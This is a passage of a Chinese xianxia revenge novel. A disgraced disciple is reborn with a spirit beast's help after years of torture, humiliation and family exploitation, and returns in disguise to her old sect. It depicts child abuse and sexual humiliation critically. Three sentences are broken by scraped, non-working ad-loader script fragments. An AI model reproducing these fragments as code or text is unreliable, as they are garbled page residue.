她尝试了一下,可以进去,进去以后就和之前的秘境无异,灵气依旧充沛,所有东西都在,丹药房的玄天鼎余气尚温,只有材料却没怎么使用过的炼器室,修炼圣地明镜台,长满各种灵植的青草甸,清澈见底的落雨湖,盛产玄铁矿的剑苍山,以及秘境中央的那棵神木……一切都在,除了龙蛭。 苏一枝换了各种方式都无法唤出龙蛭,直到一个时辰后被自动弹出。 她想了想,觉得有点难过。 十年前,自己残魂将散之际,隐约听到一阵急迫凄厉的婴儿啼哭。 那声音让她疑惑,明明是孩子哭,可又仿佛是灵兽在说“快来啊快来啊”。她听了19年兽语,第一次遇到这种似是而非的。她想知道到底是怎么回事,这究竟是人,还是兽呢? 而那声音竟似乎感应到了她,语调也变了,像是开心,但说的句子又是:“好饿,好饿,快来啊”。 苏一枝努力分辨中,神魂忽然被一股力量席卷,一阵天旋地转后,她终于看到了那个灵兽。似狐非狐,九条尾巴,九个脑袋,每个脑袋各不相同,三张人脸,三张狐脸,还有三张是虎脸。它皮毛赤红,爪子却硕大而尖利,像是放大版虎爪。苏一枝因太过惊奇,短暂忘记了疼痛,她虚弱而又惊奇问:“你是什么东西?” 那灵兽三张人脸齐翻白眼:“你才是东西。” 苏一枝又说:“你其实是想要吃我吧?” 那兽惊奇:“你怎么知道?” “我从小就能听懂兽语,跟灵兽打交道很多。”苏一枝补了句,“但第一次见到你这样的。” “听懂你还来?” “不是你拉我过来的吗?” 那兽沉默片刻,叹了口气,自言自语:“临死前想饱餐一顿,好不容易进来一个,却又是个吃不得的。” 苏一枝问什么意思,灵兽说我太寂寞,需要有人陪我,虽然我能说人话,但那太累,你能听懂我想法,岂不更好,不吃了,反正暂时也饿不死。完了又说,原来主人说的一切都是真的,在我坚持不下去时,一定会有人让我可以继续坚持下去,那个人,就是可以完成她心愿的人。看来就是你了。 灵兽抬起巨大前爪,拍了拍苏一枝肩膀:“我是龙蛭,为主人守着这方秘境已有万年,如今终于有你作伴。你叫什么?怎么落得这般凄惨模样?” 苏一枝报了姓名,问龙蛭主人是谁,龙蛭却顾左右而言其他,只说苏一枝受伤太重,既然肉身已毁,魂魄将散,想要继续活着,便需铸魂塑体淬练,过程很是痛苦,问她能否承受。 “我若说自己不能承受呢?” “嘿嘿。” 苏一枝虚弱地笑了,这龙蛭真是狡猾,明明是它要让她重活,还非要搞得像她求它一样。 接下来便是将残余的魂魄一点一点收拢回来,在玄天鼎里重铸完整,根据苏一枝识海内记忆,又塑造出肉身,经过七七四十九日淬练,神魂肉身终于完美结合,与以往无异,甚至更强韧了。 其间种种痛苦,苏一枝不想再提,她无数次问自己,铸魂塑体的痛,和当初被林木儿折磨的痛,哪一种更甚,但每次都觉得其实不太好相比。因为一个是饱含希望,一个却让人绝望。 完成了重生,苏一枝开始修炼。 不知是重铸的神魂与肉身太过好用,还是秘境里充裕的灵气终于打通了她的经脉,以往不懂的东西忽然就懂了,进步神速,短短三年便结了金丹。 她终于可以不借助法宝自由飞行了。 苏一枝开心地在空中飞,龙蛭一脸嫌弃在旁边陪着,觉得她区区金丹就如此高兴,实在是大惊小怪,让人不忍直视。 就在那时,苏一枝发现了神木顶端的神奇,目睹了秦炎和林木儿的大婚。 她跟龙蛭讲自己与外面那两人的纠葛,龙蛭说:“等出去,都杀了。” 苏一枝噗嗤一笑,摸了摸它火红的皮毛:“杀了给你吃。” 龙蛭摆了摆尾巴:“你好好修炼。” 十年来,她跟龙蛭相处甚欢,除了涉及灵女时偶尔会有所回避外,几乎无话不谈。龙蛭是她相依相伴的朋友,修炼路上的老师,也是给了她生命的恩人。如今想来,好像每次苏一枝说出去后要一起如何如何,龙蛭都会岔开话题。 原来,如此。 她还以为,继承了灵女衣钵后,龙蛭就是她的了呢。 苏一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 枝按了按有些湿润的眼睛,也按下了起伏的情绪,她不知道到底是怎么回事,龙蛭为什么会消失,但既然出来了,就得向前看,毕竟这一天,她等了太久。 除了识海里多出来的秘境外,她还自动掌握了一个土系攻击法术,叫艮为山,可以自动将灵力凝结为山,埋葬敌人,修为越高,山体威力越大。 这招苏一枝不准备在外界用,毕竟外界缺少土灵,也没有人会用土系攻击。 她清点了一下秘境里的修炼资源,觉得对于目前的她来说,最有用的是玄天鼎和青草甸上的大量灵植。 按理说,有灵植就该有灵兽,可是没有,兽舍里空空荡荡,起先苏一枝不明白,后来知道了,都被龙蛭吃了呗。 清点好材料,苏一枝去了青山西北约摸两百里处的那个小村子。 第一次跟这个村子结缘,是在16岁那年。 她带秦旺回家的那天,趁母亲王闲云盯着锦袋内灵石两眼放光的功夫,秦旺偷偷塞了只纸鸟在她手心,悄声说:“它会飞,如果不开心,可以让它带你出去玩玩,来找我也行。” 于是在当天夜里,苏一枝骑着纸鸟就跑了。 因为王闲云说了,这一个月,必须放弃她那什么狗屁三不骗原则,多猎些兽,攒下足够的灵石,才会放她走。 苏三枝说那位仙人不是给了许多灵石么,为何还要让大姐劳累。 王闲云猛拍了下她的脑袋:“小丫头片子懂个屁!你哥不要娶媳吗?娶媳不要盖新房子吗?再说了,你大姐嫁那么好,你哥能娶个一般的?那彩礼钱能少得了吗?仙人给的钱,也就够你哥娶个媳妇的,耀祖怎么办?他还得上山,得要路费,拜师费,以后娶媳妇也要一大笔钱,你跟你二姐两个可不一定有你大姐那运气。四枝五枝六枝七枝又太小,不能在耀祖娶媳前换到钱。她不赶紧猎兽多攒点,难道还指望我这个半残的?” 苏一枝从来没觉得母亲的话如此刺耳,如过年吵得人心烦的鞭炮,噼哩啪啦响个不停,偏偏这家消停那家又起,没完没了。她捏着袖中的纸鸟,暗自咬牙,天一黑,就开始收拾东西,也没什么好收拾的,就两件换洗衣服,一点偷偷攒下的肉干,夜半时分,放出纸鸟,骑上就跑。 她漫无目的,只想有多远跑多远,然而又不想去离火宗,听说离火宗在南面,她便驱着纸鸟往北飞,结果迷了路不说,本来就飞得很慢的纸鸟还突然失了灵,跌落在沼泽。 沼泽表面略有冰冻,却是一踩就陷。看着越陷越深的身体和蜂涌而来的各种毒虫,苏一枝吓得尖叫。她尝试跟那些毒虫沟通,无奈它们根本没有神智。 就在淤泥快要没至胸口时,面前突然抛过来一根枯藤。 她抓住枯藤,看到藤的那端,远远地有个小男孩趴在一截枯木上。 苏一枝抓着藤缓缓爬到小男孩跟前,才发现他腰间绑着根绳子,绳子那头系在远处林子里的树上。真是万幸,她跌落的并不是沼泽深处,前方就是一片森林。跟男孩一起爬到林子里,清理了身上淤泥后,她才知道,原来经常会有修真人士的飞行法器在这附近失灵。 “所以你经常这样救人吗?”苏一枝惊奇。 男孩笑笑:“我听到你跟那些虫子说话,觉得好玩。” “嗯,它们好像听不懂,可能不是灵兽,神智太低,别的灵兽都能听懂我说话的。” 或许是遥远地方这样一个完全陌生的小小孩子不会对生活有任何影响,所以苏一枝毫无心理障碍,倒竹筒般跟男孩说了很多心里话。男孩说自己没有名字,父母叫他都是叫那孩子。 “我家条件不太好。”那孩子说。 “我也一样。”苏一枝叹息。 跟男孩聊了很久的天,又分给他一些肉干表示感谢之后,苏一枝在他指引下,出了林子才驾起纸鸟,果然没再失灵。 一个月期满,她回了苏家,跟随秦旺去了离火宗,没想到半年之后,就再次遇到了那个男孩。 8. 第 8 章 外出历练的那半年,在青山城被一伙散修追得慌不择路逃到狐妖林后,苏一枝害怕至极,十分想要找到秦炎,哪怕热脸贴他冷屁股,也好过被人追杀。她于是驾起秦旺给她用来以防万一的纸鸟,飞到了狐妖林上空,没想到飞着飞着,纸鸟就又失了灵,一头栽倒在地,依旧是落到了沼泽之中。 苏一枝这次有了经验,不再胡乱挣扎,她手脚并用,努力不让自己身体下陷,慢慢往前爬,爬着爬着,啪,眼前飞来一根枯藤。 还是那片沼泽,还是那个男孩子。 苏一枝笑了。 被拉出去后,她才知道,这里离狐妖林不远,所以纸鸟才会飞出狐妖林不久就再次失灵。 “我能去你家换下衣服吗?”苏一枝问。 男孩看着她:“你不是去修仙了吗?这么久还没学会用净尘诀?” “你还知道净尘诀?” “我说过,这里经常会有修仙的人法宝失灵掉下来。”男孩垂眸,长长的睫毛挡住眼里嘲弄,“你还是好生修炼吧,掉下来的飞行法宝这么多,这么慢的,你是第一个。” 男孩家在林子外侧一个很小很乱的村子里,低矮的半截土墙,围着三间土屋,屋顶搭着茅草。 一路上男孩都紧紧握着苏一枝的手,直到此时才松开:“我家情况不太好,你不会介意吧?” “能有多不好?”苏一枝不以为然,她自己的家庭就够糟了,总不会比她家还差。 显然,苏一枝的见识还是少了。 他们刚进院子,一样东西就从破窗里飞了出来,男孩拉着苏一枝迅速站远,那东西落在地上,碎了,刺鼻臭味弥漫开来,原来是个尿壶,还是有料的。 男孩叹了口气:“我就说得学会净尘诀吧。” 他熟练地将那滩污秽清理到屋后的菜田,又在檐下的缸里舀了几瓢水将地面冲洗干净,这才示意苏一枝跟他进了三间屋子中西面那间。 苏一枝胆战心惊:“没关系吗?” 男孩摇头,守在门口,背对着苏一枝:“不怕,他起不来,你动作快些。” 苏一枝看着男孩的背影,犹豫了一瞬,麻利将外衫换好,过去拍了拍男孩肩膀:“是你父亲吗?” 男孩点头,带着她来到东屋,进门,那种又酸又臭又骚的味道浓郁得让人无法呼吸,床上堆了好几床破棉絮,棉絮里躺着个男人,脸色焦黑,形容枯槁,但眼神却凶狠怨毒。 床边趴着一个衣衫破败的女人,几乎与那些破棉絮融为一体。 见两人进来,女人忽然起身,扑到男孩面前,掐住他胳膊一把将他扯到床边:“赚,赚了多少钱?有没有买到药?拿,拿出来,都拿出来!你到底,还能不能救好你爹啊!” “今天不是虫期,没赚到钱。” “没赚到钱你回来做什么?去,去死,,怎么不去死!你,你去死吧!”女人崩溃推开男孩,却被床上男人抓住。 男人干瘦乌黑的手抓着孩子胳膊,眼里的怨毒简直要溢出来:“为什么没有赚到钱?你是不是故意的?” 他另一只手忽然拿起枕头边上的破碗,狠狠朝男孩胳膊上划下去,鲜血流出来,和碗底黑色药汁混为一体。 男孩哭出声:“我下次不敢了。” 苏一枝看不下去,正要上前阻止,就见那瘫着的男人忽然暴起,双手举着破碗就朝男孩头上猛砸下去,破碗彻底裂掉,半边粗陶片插进男孩头顶,男孩捂住头,跌坐在地,血从他手指间流了下来。 苏一枝惊呆,很是后悔自己出手不及,她抱起男孩,将他拖到窗边,这才当着两人的面,从储物袋里拿出疗伤丹药,塞入男孩口中,然后将陶片拔掉。血神奇地止住了,伤口也迅速愈合。 看着那一男一女震惊的样子,苏一枝的愤怒和心痛消失大半,终于得到些许满足。 女人扑通一声跪在地上,连滚带爬到苏一枝面前:“求,求仙人救救我丈夫,这个家不能没有他啊。” 男孩扯了扯苏一枝衣服,苏一枝了然:“你们不准再虐待孩子,我会每过一段时间就来确认一次,直到这孩子平安健康长大,那时再给你丹药,让你站起来。” 开玩笑,瘫在床上都能下这么狠的手,真要让他站起来了,孩子还有命活? “这……”那女人犹豫。 “不答应就算了,吃亏的又不是我。” “我们答应,但你要说话算话。”男人嘶哑着声音。 苏一枝牵起男孩的手走出屋子,留下一句:“那是自然。” 被砸后男孩一直沉默,直到走出院门,方才说了句:“你有可以净尘的灵符吗?” 苏一枝:“……” 这孩子到底对净尘有什么执念啊?不过还好,看来他应该没有被刚才那一砸吓坏。 之后苏一枝就经常会去找那男孩,一是为了警示其父母,二来么,确实跟男孩聊起天来没什么顾忌,让她很是放松,可以短暂忘记离火宗的那些不快。 从男孩口中,她得知这个小小的村子叫毒村,村里人以到沼泽里捉毒虫卖给那些修仙人士为生。但捉毒虫这活很是凶险,稍有不慎就会一命呜呼,所以村里剩下的十几户,人员全部健康健全的,一户都没有。 “那为什么不换个营生呢?” “就因为没有别的活路了,才会来这里捉毒虫啊。” 他说得那样理所当然,没有活路,就来捉毒虫谋生,没有灰心丧气,没有怨天尤人,甚至在见到苏一枝那么多丹药灵符后,也只想要一张净尘符,以解决眼前最容易遇到的问题。 苏一枝忽然觉得自己心态还不如眼前这个孩子。 不管怎样,在这孩子的年纪,没人虐待过她。如今虽然遭受不公,却好歹是可以争取反抗一下的。所以半年历练结束,她回到了离火宗。 然后,她便遭受了林木儿的扒衣踩肚之辱。 而林木儿下手越来越没有顾忌,苏一枝经常被折磨得伤痕累累,当身上秦旺给的丹药消耗殆尽,她拖着半瘸的腿,去丹药峰求药。 掌药的丹药师皮肤很白,样貌清雅,海棠红的高级门派服上绣着几朵梅花,他很温和地看了苏一枝的伤势,托出一盒丹药,正要交给她,药房的墨玉屏风后面闪过一道绿色身影。 “弟子犯了错,当然要受到惩罚,若是人人都来拿药医治,惩罚的意义何在?”林木儿笑得意味深长。 苏一枝到底没能拿到药,她站在丹药峰的观景台上,看着绵绵青山里偌大的离火宗,忽然很想就这么跳下去,一了百了,却在这时,听到一声叹息。 观景台的巨大炼丹炉后走过来一男一女,男的跟秦炎有点像,但看起来比他沉稳成熟不少,穿着鸦青色袍子,女人看着比男人年纪大些,一身蓝色劲装,很是干练,腰间挂了个葫芦。 两人都没有穿门派服,但苏一枝已经猜出了他们是谁。那男的,必然是秦炎哥哥秦旭了。 经常听人提起,秦旺宗主的长子秦旭是个不折不扣的逆子。 秦旭大秦炎12岁,20岁那年外出历练遇到危险,被散修梅踪所救,心生爱慕,结成道侣。 这看起来很正常,问题在于,梅踪那时已经43岁了,她是个纯净的木灵根,生育能力必然很弱。更何况她生性爱自由,年幼时被青木宗长 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老看中招揽,因爱好自由而拒绝,当了个快乐散修,并扬言此生绝不冒险生孩子。 秦旭和她结为道侣后,随她四处游戏人间,美名历练,竟十年都没有回过离火宗。 这也是为什么秦旺只当秦旭养废了,要亲自为次子秦炎挑媳妇的原因。 不知道他们为什么突然回来了。 “你就是秦炎那个小媳妇?”梅踪扔了个瓷瓶到苏一枝怀里,“治伤的药。” “谢谢。”苏一枝收下丹药,没有抬头。 “这药不但愈合伤口,也能祛除伤疤,你的腿和脸,都会好的。”梅踪又说。 “谢谢。”苏一枝依然低着头,这段时日以来,她的自尊心被践踏得粉碎,很难再有与别人对视的勇气,也不想让别人看到自己肿胀青紫的脸。 苏一枝攥着药瓶低头离开。 “不要想着靠男人来改变自己的命运,”梅踪的声音在身后传来,“在这个女人只是生孩子工具的世界,如果不想当工具,还是个低阶工具,就得想办法努力修炼,靠自己立足。能救你的,只有你自己。” 苏一枝停下脚步。 有那么一瞬间,她觉得梅踪在讽刺自己。还要她,怎么努力呢? 她梅踪纯净木灵根,天赋好,家人宠爱,还遇到了这么听她话的秦旭,想如何便如何。她的人生遇到过什么阻力吗?就来指责自己不够努力? “对不起啊。”秦旭说,“要不是因为我,可能你也不会在这里。” “说的这叫什么话?明明是你父亲的问题啊!还是说,你想把责任推到我身上?”梅踪不乐意了。 “不敢不敢。”秦旭连连道,“绝对没有那个意思。我想说的是,苏一枝,你可能也听说过,我父亲他有一些执念,我们家的男人,不准二娶,可身为宗主之家,又必须保证传宗接代。我是不会生了,所以压力就给到了秦炎。父亲生怕他会像我这样,所以才亲自挑选。能被父亲挑中,你肯定也是相当优秀的,不要被一时的困难打倒。苏一枝,苏一枝!” 苏一枝头也不回地离开了。 朝露阁一片狼籍,苏一枝所有私人物品都被毁坏丢弃,这地方本是历任宗主夫人婚前小住和婚后清修之地,清幽隐蔽,轻易不会有人来打扰,如今却正好方便林木儿自由行事不为人知。 苏一枝走到院中凉亭里,靠在栏杆上,看着手里的药瓶,却迟迟没有打开。 天空不知何时下起了雪,明明是离火之地,却一年有半数时间时不时就会飘上一场雪。 苏一枝靠着栏杆,任由飞雪被风裹着扑了自己一头一脸,她终究,没有用药,她想记住这疼痛,也留下这疤痕。 漫天飞雪笼罩整个离火宗,苏一枝感受着身体的冰冷和疼痛,不知为什么,想起了那个大雪中的孩子。如果那个孩子遇到这样的事,他会怎么做呢?很想再去看他,跟他畅所欲言聊聊天,可惜,越来越难了。 记忆中的毒村景象和眼前慢慢重合,时隔十一年,苏一枝终于再次来到这里,然而整个毒村一片破败,蛛网密布,毒虫乱爬,空无一人。 这些年在神木顶,她从来也不敢看毒村,就是怕看到这一幕,没想到还是成真了。 难道真如林木儿所说,任何男人只要接近自己都会被克? 很好。 苏一枝握紧了手,指尖陷进肉里。 她所牵挂的人事物,终于是一丝一毫也没有了。 苏一枝进入空间,去看离火宗。 十天后是离火宗纳新的日子。 她拿出玄天鼎,隐去其灵宝气息,化成极品法宝模样:“我来克你们了。” 9. 第 9 章 苏一枝看着镜子里的自己,十年来,她高了,瘦了,下巴尖了,显得眼睛大了许多,眼神变得冷漠,脸上和身上的疤早在铸魂塑体时就已经消失,但她总觉得那些地方仍隐隐作痛。 就好像分明已经穿上流霞仙衣,却还是会下意识担心衣服会脱落。 或许是寂灭秘境里的阳光太过虚假,她脸色苍白得可怕,不像年少时,脸上总是白中透着粉。 苏一枝伸手在镜面上抹了一下,再看镜中人的面容,与方才已经只有七分相像。 这镜即是水月镜,可改变面容,但因品级不高,只能在原本容貌基础上调整。不过,足够了,所以苏一枝从来没想过要将它升阶。 作为灵岳大陆最大修真门派,离火宗每年纳新1000人,考试如今看来相当简单,但若是16岁的苏一枝来考,是肯定无法通过的。所以当年那些初级弟子对她的非议与疏远,她觉得也可以理解。 考试分三步。 第一步登天阶,幻化出来的阶梯直冲云霄,共三万个台阶,三天内登顶即可。 普通没有灵力的人,片刻不停的话,大概用不了二十个时辰即可完成,当然,没有人可以不休息一直爬台阶,但考虑到来参加的多少都有些天赋,所以时间上绰绰有余,这一关考的其实是体力和毅力。 第二步幻阵,共有五个幻境,每个人遇到的都不一样,主要考察人的品性,但这幻境相当简单,只是个粗略的筛选,稍微有些修为,它就会失去作用。 第三步就是测灵根了,灵根驳杂但毅力品行都有保障,过了前两关者,可以留在山下做个与外界联络的门外弟子。灵根较纯的新人和那些原本就有些基础的散修或其他门派转投者,会有各峰长老过来抢人,没被抢的,全部去参加新弟子训练,训练结束后根据天赋再决定分配到哪个峰。 苏一枝隐去了部分修为,她给自己的新身份是: 苏苏,29岁,来自东林山的散修,火土双灵根,金丹初期,家族擅丹药,有祖传的极品法宝玄天鼎,散修资源有限,丹药一脉又恰恰需要大最的资源方能继续精进,因此在父母相继过世后,孤立无援的她希望能投入离火宗门下,毕竟离火宗的天火之源是所有丹药师最魂牵梦绕的火之源头。 所谓天火之源,是指离火宗的天坑,在离火宗最南端,有道东西向绵延千里的天坑,熊熊火焰,万年不熄,宽阔无边,宛若火海,东接东林山,西临南山,是离火宗的圣地。 苏一枝十分顺利被丹药峰代理峰主柳益长老拣回了丹药峰,成为他的亲传弟子,享受高级弟子待遇,入住丹药峰凌云阁靠东的一间屋子,单人独享。 凌云阁前面不远处就是观景台,在那里,可以俯瞰整个离火宗。山门大阵,灵兽馆,灵植园,离心殿,朝露阁,符箓堂,炼器峰,以及,刑法堂,还有夹在刑法堂和炼器峰中间的那处思过崖。 苏一枝攥紧拳头,闭上眼睛,深吸了一口气。 他们都过得很好。 林木儿与秦炎结婚已有七年,夫妻恩爱,强强联手,神仙眷侣,离火宗和青木宗也因为他们的联姻而变得更加紧密。 秦玉芝嫁给了白金宗钟家少主钟刚,日子过得不错,在自己神魂俱损落入寂灭窟仅一年后,就生了对龙凤胎,过了三年又生一女,钟刚心疼她,准备缓一缓,如今龙凤胎8岁,小女儿5岁,幸福得很,羡煞旁人。 钟仙因受不了白金宗长辈们催婚,离家出走,跑去青木宗散心,结果迷上一个少年,巧了,就是在林木儿指使下坚持用觅魂珠找苏一枝的那个。 至于林桐桐,很神奇,她喜欢上了黑水门的门主鱼跃,经常想要借助林木儿人脉与鱼跃相见。 所有人或得偿所愿,或心怀期盼,只有自己被困在过去,日日夜夜,灵魂似乎从来没有走出过离火宗,离开过朝露阁和那处思过崖。 当初历练归来,林木儿变本加厉,苏一枝几次被折磨到神魂离体。 按理说,这种程度的折磨,为她点了魂灯的秦炎必然能看到她魂灯明灭,但他并无半句过问。 直到有次,苏一枝足足躺了三个月才能起身下床,她终于受不住,决定退婚离开。 可当她去找秦旺时,却听说秦旺带人去了狐妖林,离火宗事务由秦炎和秦钟长老暂时代理。 据说前些日子,有一伙散修被疑似狐妖的女子诱惑,误入狐妖林,结果全部惨死。他们的亲友在寻他们时,又死伤无数。短短几月,折在狐妖林的散修竟有七八十之多,他们只得向离狐妖林最近的青木宗求助。 而之前青木宗林潭就已经为了狐妖林的事来与秦旺商量过,林秦两家接连在两次狐妖祸乱中损失了上任宗主,他希望这次若再有祸乱,能由白金宗承担。 可秦旺还是选择了自己带人前去。 身为宗主,享受多大权利,便要承担多大责任,因此每次有妖族作乱,都是由宗主带人前去平息,历来如此。 苏一枝一刻都不想等了,她当着在场四位长老的面,将退亲书交给了秦炎。秦炎接过一看,脸色立马就黑了。 修真界定下婚约,婚书会留于宗门谱系上世代留存,解除婚约当然也是如此。 偏偏苏一枝还用她炼气一层的微薄灵力,以血入灵符,写就了退婚书,并在上面声明,之所以解除婚约,离开离火宗,是因为林木儿林桐桐秦玉芝钟仙的欺辱,对她实行各种非人折磨。而秦炎作为未婚夫,对此心知肚明,却袖手旁观,纳垢藏污,不配为夫,甚至不配为人。故恳请解除婚约,各自欢喜。 这样的退婚声明,世世代代留在离火宗宗族记录里,成何体统? 别说秦炎黑了脸,在场的长老们脸色也都不太好看。可退婚书一旦以血写下,则必须由本人以血改写,别人无法修改。 “你觉得我会同意?”秦炎一副气笑了的表情。 秦钟长老的胡子都气歪了,因为那上面有他孙女的名字,他的宝贝孙女一向不谙世事,纯真无邪,前些日子刚嫁了钟刚,小夫妻恩爱得如蜜里调油,如此污蔑,要是传到白金宗,别人该怎么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看? 想到此,他简直杀了眼前这人的心都有,偏偏又不能这么做,那是秦旺认准的儿媳。作为离火宗年纪最大的长老,又是炼器峰峰主,秦钟自觉说话还是有些份量,他压制住自己的怒气,尽量心平气和跟苏一枝商量: “婚书乃宗主亲自拟定,秦炎无法自己做主,否则会被视为大逆不道,必须等宗主回来再做定夺。但你退婚书写成这样,宗主看了也必然不会同意,不如改改,等他回来,我帮你与他说。” 其他三位长老也纷纷附近和。 苏一枝摇头:“都是事实,为什么要改?” 秦炎终于气笑了,向来没太多表情的一张俊脸瞬间裂开:“你不改,我就不同意退,那便耗着,我看是你急着嫁人还是我急着娶妻。退下。” 苏一枝忽然有点隐隐反胃,顿时觉得那张脸也没那么好看了。 他竟然觉得自己退婚是因为想嫁人? 自己明明,只想离开。 退婚一事传到其他两个宗门,林木儿气急败坏,她的父亲林潭和青木宗众长老以及白金宗的人都纷纷向秦炎施压,秦炎几次要求苏一枝修改血灵书皆被拒绝,一怒之下,在林木儿提议让苏一枝去跪思过崖的时候,大手一挥,同意了。 思过崖在炼器峰和刑法堂中间的空地上,前有峭壁,后有火阵,那火阵只攻击被惩罚的弟子,普通弟子则可以自由出入,甚至有人能在峭壁前悟道。 但被罚去思过崖的弟子,则被打上标记,只能呆在那里面壁思过,想要通过火阵离开,必会被那火墙所焚,灰飞烟灭。 而最折磨人的,是每个路过的弟子都对面壁者有教导责任,这教导,可以是讲道理,可以是骂,也可以是打,还可以,摧残她,污辱她,将她剥了衣服在壁下示众。 苏一枝无数次想要闯进火阵求死,然而火阵之所以被设在这里作为惩罚人的阵法,可以分辨人心,想活的,闯火阵,会死,想死的,闯火阵,却会被弹回去。 想死也死不成。 “木儿,我们这样,会不会太过分了?真的不会出事吗?”秦玉芝的声音有一丝颤抖,想来婚后还要做这种事,也很害怕被夫家知道吧。 “过分?别忘了,她若不改血灵书,你我可是要被离火宗卷宗记录的。” “要是有种方法,能让她这个样子也被记录在卷宗上,被后世之人世世代代观看,就好了。” “钟仙你也太狠了吧。” “装什么老好人,你比谁都渴望我说的成真吧。” “没有,我觉得只要她改了就行。” “就算改了,这事也传遍了,你真觉得自己还能找到什么青年才俊如意郎君?” “她本来也找不到。” 声音逐渐远去,先前隐藏着的众人又从各个角落钻出来,窃窃私语,议论声中,苏一枝身上被披了件衣服,一个声音在耳边响起:“把她弄回去。” 两个男人低声说是,然后,苏一枝被带回了自己的住处,见到了意想不到的人。 10. 第 10 章 她竟然看到了很久不见的母亲,以及一干弟弟妹妹。 将苏一枝带回来的人是林潭,他身边站着两个跟他有些像的年轻人,想来是他的儿子。 “既然我们不管怎么说,你都不肯改变自己的主意,不如就让家人和你聊聊吧。”林潭说完,示意两个儿子跟他出去,正准备带上门时,秦炎进来了。 苏一枝将自己埋在被子里,她从没想过会在这样的境况下与家人相见,只觉得万分屈辱难堪,除了丢脸还是丢脸。 王闲云却仿佛没看到她的窘状,抹了把眼泪就开始哭:“你说你这个小祖宗,好好的日子不过,你又闹什么呢?离火宗!这可是离火宗啊!我一路走过来,腿都软了,这么气派,这么多人,就是以前传说中的皇后,也不会比你嫁得更好了,你到底在闹什么呢?” “离火宗真不错,不过原来他们只要火灵根,而我是金灵根。”苏耀祖快10岁了,一脸老成地开口,“大姐,不如你跟姐夫说一下,让他引荐我进白金宗吧。” 苏一枝不想说话,但还是忍不住说:“你觉得我有这个面子吗?” 苏耀祖看了看秦炎,这位姐夫显然听到了对话,却并没有什么反应,他撇了撇嘴,自家大姐果然没有面子。 秦炎面无表情:“若你肯修改血灵书,我可以答应你任何要求。” 苏耀祖两眼放光,看向躺在床上气若游丝的苏一枝,满脸期待。然而他失望了,因为苏一枝说:“我只求自由。” “说了你先修改血灵书,待父亲回来,我自会向他禀明情况,征求他的同意,解除你我婚约。” 王闲云“嗷”的一声长嚎,扑上前来,却在床一步开外被秦炎挡住,她干嚎着:“你再这么不听话闹下去,我只能带着你弟弟妹妹以死谢罪了!” “那就等宗主回来,他同意了,我当着他面修改。” 苏一枝心累,看向一直以来跟自己关系不错的苏三枝,“这不是什么好地方,带你们来的人没安好心,你们回去吧。” 没想到苏三枝却对她怒目相向:“大姐就不问问,我们这两年过得如何?” 苏一枝奇怪:“我离开时,秦宗主给你们留了不少东西吧?” “小弟带着灵石想去仙门,路上遭了抢,那些人还跟到家里来,将我们家洗劫一空,所以……”苏光宗开口。 苏一枝心里堵得慌,她扯了扯被子,将自己破败的身体遮得更严,艰难侧了侧身子,背向众人:“我也没办法,你们回去吧。” “你既然说带我们来的人没安好心,就不怕我们没完成任务,被他所害吗?”苏三枝说。 “我说过,我也没办法,他们害你也罢,你们自己要自杀也罢,我都没办法。” 苏一枝以为,事情到了这种地步,秦旺回来,再怎么样都不可能让婚约继续了,反正那些人所做之事已是人尽皆知,到时就卖他个面子,改了血灵书,退婚走人,随便去哪里都比在离火宗好。 至于会不会被林木儿追杀,随便吧,她想死的时候死不成,不想死的时候,或许也没有活下去的能力,还能怎么样呢?只求赶紧离开这里。 谁知那狐妖林真的是仙门噩梦,秦旺竟再也没有回来。 随同前去除妖的人中只回来了一个,神智不清说些什么活人死人活死人,疯言疯语问不出所以然,但众人知道秦旺恐怕凶多吉少,白金宗和青木宗都来了人,跟着秦旭和梅踪一起前往狐妖林。秦炎也要去,被长老们按住了,说离火宗不能连折两任宗主。 秦炎无奈,只得坐镇宗门等候消息。 苏一枝克男人的说法也彻底传扬开来,大家都说她克死了自己亲生父亲,又克死了未来公公,将来必定会克死自己丈夫。留守的长老们纷纷要求秦炎退婚,这次秦炎终于同意了,当然,同时也逼着苏一枝修改了血灵书。 蹉跎三年,已然19岁的苏一枝终于自由,她恨不得插上翅膀立刻离开,却连当初秦旺送她的纸鸟都早在被折磨的过程中丢失,身上空空荡荡,没有一块灵石,没有一件法宝,没有一颗丹药,只有满身的伤。 走出山门,苏一枝浑身轻松,她不顾身体的疼痛,拖着几乎断掉的双腿尽力前行,却听到身后传来秦玉芝的叫声。 “不要停,不要理她。”苏一枝对自己说,然而脚步还是慢了下来。 不妨听听她怎么说,反正,若林木儿真追来,也不是争了这一时半会儿就能跑得掉,更何况,最近秦玉芝大抵是因为成了亲,跟林木儿一起欺辱她的次数并不多。 “一枝,对不起。”秦玉芝把玩着自己袖角,她已嫁为人妇,发髻梳起,白金宗专属的赤金色衣裙流光溢彩。 “对不起我什么?” 秦玉芝面有急色:“其实我一直都很想跟你说对不起,你知道的,我这人比较笨,胆子又小,发现被骗了,不好意思声张,也不敢反抗,就一直这么稀里糊涂的……” “你想说,你当初背叛我,是因为被林木儿骗了?” 秦玉芝低下头。 “我知道了。”苏一枝转身欲走。 “你原谅我了吗?” “谈不上原谅,但也不想跟你计较了。”苏一枝忽然觉得浑身冰凉,她瞥到一抹绿色身影。 不该再上当的,可她太渴望有一个人可以站在自己一边了,至少,不要全都部都是敌对。 她真的,很孤单也很累。 “啪!啪!啪!”鬼魅般的绿色身影闪出,林木儿鼓着掌:“真是姐妹情深啊,我都被感动了呢。” 苏一枝猜的没错,她果然,在不想死的时候,没有活下去的能力。 这次她被彻底囚禁于青木宗地牢里,日日夜夜折磨,直至肉身残破再无法拼凑成型,林木儿带着她的残肢,穿过离火宗北方的北林,将她扔进了地坑中。 地坑,位于离火宗北面的沼泽里,与天坑的烈火不同,这里满是毒液与怨气,人入地坑,身体瞬间就会被毒液消融,魂魄也慢慢被怨气一点一点撕得粉碎。 如果不是听到了龙蛭用来引诱食物的叫声,这世上早已没有苏一枝。 但苏一枝没死,她又回来了。 新弟子入门第三日,要去天火台祭天坑,苏一枝终于,再次见到了秦炎,还有林木儿。 秦炎一身紫色仙袍,和他老爹当年一样,比他爹更年轻,更瘦削,也更挺拔。 